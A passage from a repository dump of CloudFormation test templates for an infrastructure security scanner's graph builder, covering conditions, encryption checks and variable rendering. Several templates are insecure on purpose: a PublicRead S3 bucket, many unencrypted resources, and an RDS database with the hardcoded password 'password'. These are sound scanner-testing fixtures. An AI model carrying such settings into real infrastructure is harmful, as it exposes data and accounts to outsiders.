BucketFnAndTrue:\n    Type: 'AWS::S3::Bucket'\n    Condition: FnAndTrue\n  BucketFnAndFalse:\n    Type: 'AWS::S3::Bucket'\n    Condition: FnAndFalse\n  BucketFnAndTrueWithCondition:\n    Type: 'AWS::S3::Bucket'\n    Condition: FnAndTrueWithCondition\n  BucketFnOrTrue:\n    Type: 'AWS::S3::Bucket'\n    Condition: FnOrTrue\n  BucketFnOrFalse:\n    Type: 'AWS::S3::Bucket'\n    Condition: FnOrFalse\n  BucketFnOrTrueWithCondition:\n    Type: 'AWS::S3::Bucket'\n    Condition: FnOrTrueWithCondition\n"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/resources/edges_json/test.json",
    "content": "{\n    \"AWSTemplateFormatVersion\": \"2010-09-09\",\n    \"Parameters\": {\n        \"EnvType\": {\n            \"Description\": \"Environment type.\",\n            \"Default\": \"test\",\n            \"Type\": \"String\",\n            \"AllowedValues\": [\n                \"prod\",\n                \"dev\",\n                \"test\"\n            ],\n            \"ConstraintDescription\": \"must specify prod, dev, or test.\"\n        },\n        \"DataBucketName\": {\n            \"Description\": \"Bucket Name\",\n            \"Type\": \"String\",\n            \"Default\": \"bucket_name\"\n        }\n    },\n    \"Mappings\": {\n        \"RegionMap\": {\n            \"us-east-1\": {\n                \"AMI\": \"ami-0ff8a91507f77f867\"\n            },\n            \"us-west-1\": {\n                \"AMI\": \"ami-0bdb828fd58c52235\"\n            },\n            \"us-west-2\": {\n                \"AMI\": \"ami-a0cfeed8\"\n            },\n            \"eu-west-1\": {\n                \"AMI\": \"ami-047bb4163c506cd98\"\n            },\n            \"sa-east-1\": {\n                \"AMI\": \"ami-07b14488da8ea02a0\"\n            },\n            \"ap-southeast-1\": {\n                \"AMI\": \"ami-08569b978cc4dfa10\"\n            },\n            \"ap-southeast-2\": {\n                \"AMI\": \"ami-09b42976632b27e9b\"\n            },\n            \"ap-northeast-1\": {\n                \"AMI\": \"ami-06cd52961ce9f0d85\"\n            }\n        }\n    },\n    \"Conditions\": {\n        \"CreateProdResources\": {\n            \"Fn::Equals\": [\n                {\n                    \"Ref\": \"EnvType\"\n                },\n                \"prod\"\n            ]\n        },\n        \"CreateDevResources\": {\n            \"Fn::Equals\": [\n                {\n                    \"Ref\": \"EnvType\"\n                },\n                \"dev\"\n            ]\n        }\n    },\n    \"Resources\": {\n        \"EC2Instance\": {\n            \"Type\": \"AWS::EC2::Instance\",\n            \"Properties\": {\n                \"ImageId\": {\n                    \"Fn::FindInMap\": [\n                        \"RegionMap\",\n                        {\n                            \"Ref\": \"AWS::Region\"\n                        },\n                        \"AMI\"\n                    ]\n                },\n                \"InstanceType\": {\n                    \"Fn::If\": [\n                        \"CreateProdResources\",\n                        \"c1.xlarge\",\n                        {\n                            \"Fn::If\": [\n                                \"CreateDevResources\",\n                                \"m1.large\",\n                                \"m1.small\"\n                            ]\n                        }\n                    ]\n                },\n                \"Tags\": [\n                    {\n                        \"Key\": \"Name\",\n                        \"Value\": {\n                            \"Fn::Sub\": [\n                                \"ec2-${Environment}\",\n                                {\n                                    \"Environment\": {\n                                        \"Ref\": \"EnvType\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                ]\n            }\n        },\n        \"MountPoint\": {\n            \"Type\": \"AWS::EC2::VolumeAttachment\",\n            \"Condition\": \"CreateProdResources\",\n            \"Properties\": {\n                \"InstanceId\": {\n                    \"Ref\": \"EC2Instance\"\n                },\n                \"VolumeId\": {\n                    \"Ref\": \"NewVolume\"\n                },\n                \"Device\": \"/dev/sdh\"\n            }\n        },\n        \"NewVolume\": {\n            \"Type\": \"AWS::EC2::Volume\",\n            \"Condition\": \"CreateProdResources\",\n            \"Properties\": {\n                \"Size\": 100,\n                \"AvailabilityZone\": {\n                    \"Fn::GetAtt\": [\n                        \"EC2Instance\",\n                        \"AvailabilityZone\"\n                    ]\n                }\n            }\n        },\n        \"DataBucket\": {\n            \"Type\": \"AWS::S3::Bucket\",\n            \"DeletionPolicy\": \"Delete\",\n            \"DependsOn\": \"EC2Instance\",\n            \"Properties\": {\n                \"BucketName\": {\n                    \"Ref\": \"DataBucketName\"\n                },\n                \"AccessControl\": \"PublicRead\",\n                \"Tags\": [\n                    {\n                        \"Key\": \"Name\",\n                        \"Value\": {\n                            \"Fn::Sub\": \"${AWS::AccountId}-${DataBucketName}-${EnvType}\"\n                        }\n                    }\n                ]\n            }\n        }\n    },\n    \"Outputs\": {\n        \"EC2InstanceId\": {\n            \"Description\": \"Web Host Public DNS Name\",\n            \"Value\": {\n                \"Ref\": \"EC2Instance\"\n            }\n        },\n        \"EC2PublicDNS\": {\n            \"Description\": \"Web Host Public DNS Name\",\n            \"Value\": {\n                \"Fn::GetAtt\": [\n                    \"EC2Instance\",\n                    \"PublicDnsName\"\n                ]\n            }\n        },\n        \"DataBucketUniqueId\": {\n            \"Description\": \"Data Bucket Name\",\n            \"Value\": {\n                \"Fn::Sub\": \"DataBucket-${DataBucket}-${DataBucketName}\"\n            }\n        }\n    }\n}"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/resources/edges_yaml/test.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\n\nParameters:\n  EnvType:\n    Description: Environment type.\n    Default: test\n    Type: String\n    AllowedValues: [prod, dev, test]\n    ConstraintDescription: must specify prod, dev, or test.\n  DataBucketName:\n    Description: Bucket Name\n    Type: String\n    Default: bucket_name\n\nMappings:\n  RegionMap:\n    us-east-1:\n      AMI: \"ami-0ff8a91507f77f867\"\n    us-west-1:\n      AMI: \"ami-0bdb828fd58c52235\"\n    us-west-2:\n      AMI: \"ami-a0cfeed8\"\n    eu-west-1:\n      AMI: \"ami-047bb4163c506cd98\"\n    sa-east-1:\n      AMI: \"ami-07b14488da8ea02a0\"\n    ap-southeast-1:\n      AMI: \"ami-08569b978cc4dfa10\"\n    ap-southeast-2:\n      AMI: \"ami-09b42976632b27e9b\"\n    ap-northeast-1:\n      AMI: \"ami-06cd52961ce9f0d85\"\n\nConditions:\n  CreateProdResources: !Equals [!Ref EnvType, prod]\n  CreateDevResources: !Equals [!Ref EnvType, \"dev\"]\n\nResources:\n  EC2Instance:\n    Type: \"AWS::EC2::Instance\"\n    Properties:\n      ImageId: !FindInMap [RegionMap, !Ref \"AWS::Region\", AMI]\n      InstanceType: !If [CreateProdResources, c1.xlarge, !If [CreateDevResources, m1.large, m1.small]]\n      Tags:\n        - Key: Name\n          Value: !Sub\n            - ec2-${Environment}\n            - Environment: !Ref EnvType\n  MountPoint:\n    Type: \"AWS::EC2::VolumeAttachment\"\n    Condition: CreateProdResources\n    Properties:\n      InstanceId: !Ref EC2Instance\n      VolumeId: !Ref NewVolume\n      Device: /dev/sdh\n  NewVolume:\n    Type: \"AWS::EC2::Volume\"\n    Condition: CreateProdResources\n    Properties:\n      Size: 100\n      AvailabilityZone: !GetAtt EC2Instance.AvailabilityZone\n  DataBucket:\n    # Public, not encrypted, no access logs, no versioning\n    Type: AWS::S3::Bucket\n    DeletionPolicy: Delete\n    DependsOn: EC2Instance\n    Properties:\n      BucketName: !Ref DataBucketName\n      AccessControl: PublicRead\n      Tags:\n        - Key: Name\n          Value: !Sub \"${AWS::AccountId}-${DataBucketName}-${EnvType}\"\n\nOutputs:\n  EC2InstanceId:\n    Description: Web Host Public DNS Name\n    Value: !Ref EC2Instance\n  EC2PublicDNS:\n    Description: Web Host Public DNS Name\n    Value: !GetAtt [EC2Instance, PublicDnsName]\n  DataBucketUniqueId:\n    Description: Data Bucket Name\n    Value: !Sub \"DataBucket-${DataBucket}-${DataBucketName}\"\n"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/resources/encryption/test.json",
    "content": "{\n    \"AWSTemplateFormatVersion\": \"2010-09-09\",\n    \"Description\": \"AWS CloudFormation Template to deploy insecure infrastructure\",\n    \"Resources\": {\n        \"EncryptedECRRepository\": {\n            \"Type\": \"AWS::ECR::Repository\",\n            \"Properties\": {\n                \"EncryptionConfiguration\": {\n                    \"EncryptionType\": \"AES256\"\n                }\n            }\n        },\n        \"UnencryptedECRRepository\": {\n            \"Type\": \"AWS::ECR::Repository\"\n        },\n        \"EncryptedNeptunDBCluster\": {\n            \"Type\": \"AWS::Neptune::DBCluster\",\n            \"Properties\": {\n                \"StorageEncrypted\": true\n            }\n        },\n        \"UnencryptedNeptunDBCluster\": {\n            \"Type\": \"AWS::Neptune::DBCluster\",\n            \"Properties\": {\n                \"StorageEncrypted\": false\n            }\n        },\n        \"EncryptedEFSFileSystem\": {\n            \"Type\": \"AWS::EFS::FileSystem\",\n            \"Properties\": {\n                \"Encrypted\": true\n            }\n        },\n        \"UnencryptedEFSFileSystem\": {\n            \"Type\": \"AWS::EFS::FileSystem\",\n            \"Properties\": {}\n        },\n        \"EncryptedEC2Volume\": {\n            \"Type\": \"AWS::EC2::Volume\",\n            \"Properties\": {\n                \"Encrypted\": true\n            }\n        },\n        \"UnencryptedEC2Volume\": {\n            \"Type\": \"AWS::EC2::Volume\",\n            \"Properties\": {\n                \"Encrypted\": false\n            }\n        },\n        \"UnencryptedEC2Volume2\": {\n            \"Type\": \"AWS::EC2::Volume\",\n            \"Properties\": {}\n        },\n        \"EncryptedElastiCacheReplicationGroup\": {\n            \"Type\": \"AWS::ElastiCache::ReplicationGroup\",\n            \"Properties\": {\n                \"AtRestEncryptionEnabled\": true\n            }\n        },\n        \"UnencryptedElastiCacheReplicationGroup\": {\n            \"Type\": \"AWS::ElastiCache::ReplicationGroup\",\n            \"Properties\": {}\n        },\n        \"EncryptedElasticsearchDomain\": {\n            \"Type\": \"AWS::Elasticsearch::Domain\",\n            \"Properties\": {\n                \"EncryptionAtRestOptions\": {\n                    \"Enabled\": true\n                },\n                \"NodeToNodeEncryptionOptions\": {\n                    \"Enabled\": true\n                }\n            }\n        },\n        \"UnencryptedElasticsearchDomain\": {\n            \"Type\": \"AWS::Elasticsearch::Domain\",\n            \"Properties\": {\n                \"NodeToNodeEncryptionOptions\": {\n                    \"Enabled\": false\n                }\n            }\n        },\n        \"EncryptedMSKCluster\": {\n            \"Type\": \"AWS::MSK::Cluster\",\n            \"Properties\": {\n                \"EncryptionInfo\": {\n                    \"EncryptionAtRest\": {\n                        \"DataVolumeKMSKeyId\": \"KMS\"\n                    },\n                    \"EncryptionInTransit\": {\n                        \"ClientBroker\": \"TLS\",\n                        \"InCluster\": true\n                    }\n                }\n            }\n        },\n        \"EncryptedKinesisStream\": {\n            \"Type\": \"AWS::Kinesis::Stream\",\n            \"Properties\": {\n                \"StreamEncryption\": {\n                    \"EncryptionType\": \"KMS\",\n                    \"KeyId\": \"arn:aws:kms:us-east-1:000000000000:key/some-key-uuid\"\n                }\n            }\n        },\n        \"UnencryptedKinesisStream\": {\n            \"Type\": \"AWS::Kinesis::Stream\",\n            \"Properties\": {}\n        },\n        \"UnencryptedS3Bucket\": {\n            \"Type\": \"AWS::S3::Bucket\",\n            \"Properties\": {}\n        },\n        \"EncryptedS3Bucket\": {\n            \"Type\": \"AWS::S3::Bucket\",\n            \"Properties\": {\n                \"BucketEncryption\": {\n                    \"ServerSideEncryptionConfiguration\": {\n                        \"ServerSideEncryptionByDefault\": {\n                            \"SSEAlgorithm\": \"aws:kms\"\n                        }\n                    }\n                }\n            }\n        },\n        \"EncryptedS3Bucket2\": {\n            \"Type\": \"AWS::S3::Bucket\",\n            \"Properties\": {\n                \"BucketEncryption\": {\n                    \"ServerSideEncryptionConfiguration\": {\n                        \"ServerSideEncryptionByDefault\": {\n                            \"SSEAlgorithm\": \"AES256\"\n                        }\n                    }\n                }\n            }\n        },\n        \"EncryptedSNSTopic\": {\n            \"Type\": \"AWS::SNS::Topic\",\n            \"Properties\": {\n                \"KmsMasterKeyId\": \"arn:aws:kms:us-east-1:000000000000:key/some-key-uuid\"\n            }\n        },\n        \"UnencryptedSNSTopic\": {\n            \"Type\": \"AWS::SNS::Topic\",\n            \"Properties\": {}\n        },\n        \"EncryptedSQSQueue\": {\n            \"Type\": \"AWS::SQS::Queue\",\n            \"Properties\": {\n                \"KmsMasterKeyId\": \"arn:aws:kms:us-east-1:000000000000:key/some-key-uuid\"\n            }\n        },\n        \"UnencryptedSQSQueue\": {\n            \"Type\": \"AWS::SQS::Queue\",\n            \"Properties\": {}\n        },\n        \"EncryptedLogsLogGroup\": {\n            \"Type\": \"AWS::Logs::LogGroup\",\n            \"Properties\": {}\n        },\n        \"EncryptedLogsLogGroup2\": {\n            \"Type\": \"AWS::Logs::LogGroup\",\n            \"Properties\": {\n                \"KmsKeyId\": \"arn:aws:kms:us-east-1:000000000000:key/some-key-uuid\"\n            }\n        },\n        \"EncryptedCloudTrailTrail\": {\n            \"Type\": \"AWS::CloudTrail::Trail\",\n            \"Properties\": {\n                \"KMSKeyId\": \"arn:aws:kms:us-east-1:000000000000:key/some-key-uuid\"\n            }\n        },\n        \"UnencryptedCloudTrailTrail\": {\n            \"Type\": \"AWS::CloudTrail::Trail\",\n            \"Properties\": {}\n        },\n        \"EncryptedDynamoDBTable\": {\n            \"Type\": \"AWS::DynamoDB::Table\",\n            \"Properties\": {\n                \"SSESpecification\": {\n                    \"SSEEnabled\": true\n                }\n            }\n        },\n        \"EncryptedDynamoDBTable2\": {\n            \"Type\": \"AWS::DynamoDB::Table\",\n            \"Properties\": {}\n        },\n        \"EncryptedDocDBDBCluster\": {\n            \"Type\": \"AWS::DocDB::DBCluster\",\n            \"Properties\": {\n                \"StorageEncrypted\": true,\n                \"KmsKeyId\": \"arn:aws:kms:us-east-1:000000000000:key/some-key-uuid\"\n            }\n        },\n        \"UnencryptedDocDBDBCluster\": {\n            \"Type\": \"AWS::DocDB::DBCluster\",\n            \"Properties\": {\n                \"StorageEncrypted\": false\n            }\n        },\n        \"EncryptedCodeBuildProject\": {\n            \"Type\": \"AWS::CodeBuild::Project\",\n            \"Properties\": {\n                \"EncryptionKey\": \"arn:aws:kms:us-east-1:000000000000:key/some-key-uuid\"\n            }\n        },\n        \"UnencryptedCodeBuildProject\": {\n            \"Type\": \"AWS::CodeBuild::Project\",\n            \"Properties\": {}\n        },\n        \"EncryptedCodeBuildReportGroup\": {\n            \"Type\": \"AWS::CodeBuild::ReportGroup\",\n            \"Properties\": {\n                \"ExportConfig\": {\n                    \"S3Destination\": {\n                        \"EncryptionDisabled\": false,\n                        \"EncryptionKey\": \"arn:aws:kms:us-east-1:000000000000:key/some-key-uuid\"\n                    }\n                }\n            }\n        },\n        \"UnencryptedCodeBuildReportGroup\": {\n            \"Type\": \"AWS::CodeBuild::ReportGroup\",\n            \"Properties\": {\n                \"ExportConfig\": {\n                    \"S3Destination\": {\n                        \"EncryptionDisabled\": true\n                    }\n                }\n            }\n        },\n        \"EncryptedAthenaWorkGroup\": {\n            \"Type\": \"AWS::Athena::WorkGroup\",\n            \"Properties\": {\n                \"WorkGroupConfiguration\": {\n                    \"ResultConfiguration\": {\n                        \"EncryptionConfiguration\": {\n                            \"EncryptionOption\": \"SSE_KMS\",\n                            \"KmsKey\": \"arn:aws:kms:us-east-1:000000000000:key/some-key-uuid\"\n                        }\n                    }\n                }\n            }\n        },\n        \"UnencryptedAthenaWorkGroup\": {\n            \"Type\": \"AWS::Athena::WorkGroup\",\n            \"Properties\": {},\n            \"EncryptedEKSCluster\": {\n                \"Type\": \"AWS::EKS::Cluster\",\n                \"Properties\": {\n                    \"EncryptionConfig\": {\n                        \"Provider\": {\n                            \"KeyArn\": \"arn:aws:kms:us-east-1:000000000000:key/some-key-uuid\"\n                        }\n                    }\n                }\n            },\n            \"EncryptedRDSDBCluster\": {\n                \"Type\": \"AWS::RDS::DBCluster\",\n                \"Properties\": {\n                    \"StorageEncrypted\": true,\n                    \"KmsKeyId\": \"arn:aws:kms:us-east-1:000000000000:key/some-key-uuid\"\n                }\n            },\n            \"UnencryptedRDSDBCluster\": {\n                \"Type\": \"AWS::RDS::DBCluster\",\n                \"Properties\": {}\n            },\n            \"EncryptedRDSGlobalCluster\": {\n                \"Type\": \"AWS::RDS::GlobalCluster\",\n                \"Properties\": {\n                    \"StorageEncrypted\": true\n                }\n            },\n            \"UnencryptedRDSGlobalCluster\": {\n                \"Type\": \"AWS::RDS::GlobalCluster\",\n                \"Properties\": {\n                    \"StorageEncrypted\": false\n                }\n            },\n            \"EncryptedRDSDBInstance\": {\n                \"Type\": \"AWS::RDS::DBInstance\",\n                \"Properties\": {\n                    \"StorageEncrypted\": true\n                }\n            },\n            \"UnencryptedRDSDBInstance\": {\n                \"Type\": \"AWS::RDS::DBInstance\",\n                \"Properties\": {\n                    \"StorageEncrypted\": false\n                }\n            },\n            \"EncryptedDAXCluster\": {\n                \"Type\": \"AWS::DAX::Cluster\",\n                \"Properties\": {\n                    \"SSESpecification\": {\n                        \"SSEEnabled\": true\n                    }\n                }\n            },\n            \"UnencryptedDAXCluster\": {\n                \"Type\": \"AWS::DAX::Cluster\",\n                \"Properties\": {\n                    \"SSESpecification\": {\n                        \"SSEEnabled\": false\n                    }\n                }\n            },\n            \"EncryptedRedshift::Cluster\": {\n                \"Type\": \"AWS::Redshift::Cluster\",\n                \"Properties\": {\n                    \"Encrypted\": true\n                }\n            },\n            \"UnencryptedRedshift::Cluster\": {\n                \"Type\": \"AWS::Redshift::Cluster\",\n                \"Properties\": {}\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/resources/sam/template.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nTransform: AWS::Serverless-2016-10-31\n\nMappings:\n  ServiceDiscovery:\n    self:\n      \"name\": 'amecard-cancel-api'\n\nParameters:\n  EnvironmentType:\n    Type: String\n    AllowedValues:\n      - dev\n      - stage\n\nGlobals:\n  Function:\n    Timeout: 5\n    CodeUri: src/\n    Runtime: python3.9\n    Tracing: Active\n    Environment:\n      Variables:\n        QUEUE_URL: !If [ IsStageEnvironment, !Ref SomeQueue, unknown ]\n        STAGE: Production\n        TABLE_NAME: global-table\n    VpcConfig:\n      SecurityGroupIds:\n        - sg-123\n        - sg-456\n      SubnetIds:\n        - subnet-123\n        - subnet-456\n\nConditions:\n  IsStageEnvironment: !Equals [ !Ref EnvironmentType, stage ]\n\nResources:\n  SomeQueue:\n    Type: AWS::SQS::Queue\n\n  Function1:\n    Type: AWS::Serverless::Function\n    Properties:\n      Handler: app.lambdaHandler\n      Runtime: python3.9\n      Events:\n        SQSEvent:\n          Type: SQS\n          Properties:\n            Queue: !GetAtt SomeQueue.Arn\n            BatchSize: 10\n            Enabled: true\n      Environment:\n        Variables:\n          TABLE_NAME: resource-table\n          NEW_VAR: hello\n      VpcConfig:\n        SecurityGroupIds:\n          - sg-first\n\n  Function2:\n    Type: AWS::Serverless::Function\n    Properties:\n      Handler: app.lambdaHandler\n\nOutputs:\n  RawSqsUrl:\n    Description: URL of the SQS Queue\n    Value: !Ref SomeQueue\n"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_findinmap/json/test.json",
    "content": "{\n    \"AWSTemplateFormatVersion\": \"2010-09-09\",\n    \"Mappings\": {\n        \"RegionMap\": {\n            \"us-east-1\": {\n                \"AMI\": \"ami-0ff8a91507f77f867\"\n            },\n            \"us-west-1\": {\n                \"AMI\": \"ami-0bdb828fd58c52235\"\n            },\n            \"us-west-2\": {\n                \"AMI\": \"ami-a0cfeed8\"\n            }\n        }\n    },\n    \"Resources\": {\n        \"EC2Instance\": {\n            \"Type\": \"AWS::EC2::Instance\",\n            \"Properties\": {\n                \"ImageId\": {\n                    \"Fn::FindInMap\": [\n                        \"RegionMap\",\n                        \"us-east-1\",\n                        \"AMI\"\n                    ]\n                },\n                \"InstanceType\": \"c1.xlarge\"\n            }\n        }\n    }\n}"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_findinmap/yaml/test.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nMappings:\n  RegionMap:\n    us-east-1:\n      AMI: \"ami-0ff8a91507f77f867\"\n    us-west-1:\n      AMI: \"ami-0bdb828fd58c52235\"\n    us-west-2:\n      AMI: \"ami-a0cfeed8\"\nResources:\n  EC2Instance:\n    Type: \"AWS::EC2::Instance\"\n    Properties:\n      ImageId: !FindInMap [RegionMap, us-east-1, AMI]\n      InstanceType: c1.xlarge\n"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_getatt/json/test.json",
    "content": "{\n    \"AWSTemplateFormatVersion\": \"2010-09-09\",\n    \"Resources\": {\n        \"WebVPC\": {\n            \"Type\": \"AWS::EC2::VPC\",\n            \"Properties\": {\n                \"CidrBlock\": \"172.16.0.0/16\",\n                \"EnableDnsSupport\": true,\n                \"EnableDnsHostnames\": true\n            }\n        },\n        \"MySG\": {\n            \"Type\": \"AWS::EC2::SecurityGroup\",\n            \"Properties\": {\n                \"GroupName\": \"sg_group_name\",\n                \"GroupDescription\": \"sg_group_description\",\n                \"VpcId\": {\n                    \"Ref\": \"WebVPC\"\n                },\n                \"SecurityGroupIngress\": [\n                    {\n                        \"IpProtocol\": \"tcp\",\n                        \"FromPort\": 3306,\n                        \"ToPort\": 3306,\n                        \"CidrIp\": {\n                            \"Fn::GetAtt\": [\n                                \"WebVPC\",\n                                \"CidrBlock\"\n                            ]\n                        }\n                    }\n                ]\n            }\n        }\n    },\n    \"Outputs\": {\n        \"WebVPCDefaultSg\": {\n            \"Description\": \"The default security group ID that is associated with the VPC. For example, sg-b178e0d3\",\n            \"Value\": {\n                \"Fn::GetAtt\": [\n                    \"WebVPC\",\n                    \"DefaultSecurityGroup\"\n                ]\n            }\n        }\n    }\n}"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_getatt/yaml/test.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  WebVPC:\n    Type: 'AWS::EC2::VPC'\n    Properties:\n      CidrBlock: 172.16.0.0/16\n      EnableDnsSupport: true\n      EnableDnsHostnames: true\n  MySG:\n    Type: 'AWS::EC2::SecurityGroup'\n    Properties:\n      GroupName: sg_group_name\n      GroupDescription: sg_group_description\n      VpcId: !Ref WebVPC\n      SecurityGroupIngress:\n        - IpProtocol: tcp\n          FromPort: 3306\n          ToPort: 3306\n          CidrIp: !GetAtt\n            - WebVPC\n            - CidrBlock\nOutputs:\n  WebVPCDefaultSg:\n    Description: >-\n      The default security group ID that is associated with the VPC. For\n      example, sg-b178e0d3\n    Value: !GetAtt\n      - WebVPC\n      - DefaultSecurityGroup\n"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_if/json/test.json",
    "content": "{\n    \"AWSTemplateFormatVersion\": \"2010-09-09\",\n    \"Parameters\": {\n        \"EnvType\": {\n            \"Description\": \"Environment type.\",\n            \"Default\": \"dev\",\n            \"Type\": \"String\"\n        },\n        \"InstanceSize\": {\n            \"Description\": \"EC2 Instance small Size\",\n            \"Type\": \"String\",\n            \"Default\": \"m1.large\"\n        }\n    },\n    \"Conditions\": {\n        \"CreateProdResources\": {\n            \"Fn::Equals\": [\n                {\n                    \"Ref\": \"EnvType\"\n                },\n                \"prod\"\n            ]\n        },\n        \"CreateDevResources\": {\n            \"Fn::Equals\": [\n                {\n                    \"Ref\": \"EnvType\"\n                },\n                \"dev\"\n            ]\n        }\n    },\n    \"Resources\": {\n        \"EC2Instance\": {\n            \"Type\": \"AWS::EC2::Instance\",\n            \"Properties\": {\n                \"InstanceType\": {\n                    \"Fn::If\": [\n                        \"CreateProdResources\",\n                        \"c1.xlarge\",\n                        {\n                            \"Fn::If\": [\n                                \"CreateDevResources\",\n                                {\n                                    \"Ref\": \"InstanceSize\"\n                                },\n                                \"m1.small\"\n                            ]\n                        }\n                    ]\n                }\n            }\n        },\n        \"S3BucketSuspended\": {\n            \"Type\": \"AWS::S3::Bucket\",\n            \"Properties\": {\n                \"VersioningConfiguration\": {\n                    \"Status\": {\n                        \"Fn::If\": [\n                            \"CreateProdResources\",\n                            \"Enabled\",\n                            \"Suspended\"\n                        ]\n                    }\n                }\n            }\n        },\n        \"S3BucketEnabled\": {\n            \"Type\": \"AWS::S3::Bucket\",\n            \"Properties\": {\n                \"VersioningConfiguration\": {\n                    \"Status\": {\n                        \"Fn::If\": [\n                            \"CreateDevResources\",\n                            \"Enabled\",\n                            \"Suspended\"\n                        ]\n                    }\n                }\n            }\n        }\n    }\n}"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_if/yaml/test.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nParameters:\n  EnvType:\n    Description: Environment type.\n    Default: dev\n    Type: String\n  InstanceSize:\n    Description: EC2 Instance small Size\n    Type: String\n    Default: m1.large\nConditions:\n  CreateProdResources: !Equals\n    - !Ref EnvType\n    - prod\n  CreateDevResources: !Equals\n    - !Ref EnvType\n    - dev\nResources:\n  EC2Instance:\n    Type: 'AWS::EC2::Instance'\n    Properties:\n      InstanceType: !If\n        - CreateProdResources\n        - c1.xlarge\n        - !If\n          - CreateDevResources\n          - !Ref InstanceSize\n          - m1.small\n  S3BucketSuspended:\n    Type: 'AWS::S3::Bucket'\n    Properties:\n      VersioningConfiguration:\n        Status: !If\n          - CreateProdResources\n          - Enabled\n          - Suspended\n  S3BucketEnabled:\n    Type: 'AWS::S3::Bucket'\n    Properties:\n      VersioningConfiguration:\n        Status: !If\n          - CreateDevResources\n          - Enabled\n          - Suspended\n"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_join/json/test.json",
    "content": "{\n    \"AWSTemplateFormatVersion\": \"2010-09-09\",\n    \"Parameters\": {\n        \"BucketName\": {\n            \"Type\": \"String\",\n            \"Default\": \"my_bucket_name\"\n        }\n    },\n    \"Resources\": {\n        \"S3Bucket1\": {\n            \"Type\": \"AWS::S3::Bucket\",\n            \"Properties\": {\n                \"BucketName\": {\n                    \"Fn::Join\": [\n                        \":\",\n                        [\n                            \"a\",\n                            \"b\",\n                            \"c\"\n                        ]\n                    ]\n                }\n            }\n        },\n        \"S3Bucket2\": {\n            \"Type\": \"AWS::S3::Bucket\",\n            \"Properties\": {\n                \"BucketName\": {\n                    \"Fn::Join\": [\n                        \"_\",\n                        [\n                            {\n                                \"Ref\": \"BucketName\"\n                            },\n                            \"test\"\n                        ]\n                    ]\n                }\n            }\n        }\n    }\n}"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_join/yaml/test.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nParameters:\n  BucketName:\n    Type: String\n    Default: \"my_bucket_name\"\nResources:\n  S3Bucket1:\n    Type: AWS::S3::Bucket\n    Properties:\n       BucketName: !Join [ \":\", [ a, b, c ] ]\n  S3Bucket2:\n    Type: AWS::S3::Bucket\n    Properties:\n      BucketName: !Join\n        - '_'\n        - - !Ref BucketName\n          - 'test'\n"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_params/yaml/test.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nParameters:\n  BucketName:\n    Type: String\n    Description: 'The name of the S3 Bucket to create, make this unique'\n  Status:\n    Type: String\n    Description: 'VersioningConfiguration status'\n    Default: Disabled\nResources:\n  VersioningS3Bucket:\n    Type: 'AWS::S3::Bucket'\n    Properties:\n      BucketName: !Ref BucketName\n      VersioningConfiguration:\n        Status: !Ref Status"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_ref/json/test.json",
    "content": "{\n    \"AWSTemplateFormatVersion\": \"2010-09-09\",\n    \"Description\": \"AWS CloudFormation Template to deploy insecure infrastructure\",\n    \"Parameters\": {\n        \"KmsMasterKeyId\": {\n            \"Description\": \"Company Name\",\n            \"Type\": \"String\"\n        },\n        \"DBName\": {\n            \"Description\": \"Name of the Database\",\n            \"Type\": \"String\",\n            \"Default\": \"db1\"\n        }\n    },\n    \"Resources\": {\n        \"MySourceQueue\": {\n            \"Type\": \"AWS::SQS::Queue\",\n            \"Properties\": {\n                \"KmsMasterKeyId\": {\n                    \"Ref\": \"KmsMasterKeyId\"\n                }\n            }\n        },\n        \"MyDB\": {\n            \"Type\": \"AWS::RDS::DBInstance\",\n            \"Properties\": {\n                \"DBName\": {\n                    \"Ref\": \"DBName\"\n                },\n                \"DBInstanceClass\": \"db.t3.micro\",\n                \"Engine\": \"mysql\",\n                \"MasterUsername\": \"master\",\n                \"MasterUserPassword\": \"password\"\n            }\n        }\n    },\n    \"Outputs\": {\n        \"MyDBInstanceName\": {\n            \"Description\": \"My DB Instance Name\",\n            \"Value\": {\n                \"Ref\": \"MyDB\"\n            }\n        }\n    }\n}"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_ref/yaml/test.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: AWS CloudFormation Template to deploy insecure infrastructure\nParameters:\n  KmsMasterKeyId:\n    Description: Company Name\n    Type: String\n  DBName:\n    Description: Name of the Database\n    Type: String\n    Default: db1\nResources:\n  MySourceQueue:\n    Type: AWS::SQS::Queue\n    Properties:\n      KmsMasterKeyId: !Ref KmsMasterKeyId\n  MyDB:\n    Type: 'AWS::RDS::DBInstance'\n    # Test case for check skip via comment\n    # checkov:skip=CKV_AWS_16:Ensure all data stored in the RDS is securely encrypted at rest\n    Properties:\n      DBName: !Ref DBName\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'master'\n      MasterUserPassword: 'password'\nOutputs:\n  MyDBInstanceName:\n    Description: My DB Instance Name\n    Value: !Ref MyDB\n"
  },
  {
    "path": "tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_select/json/test.json",
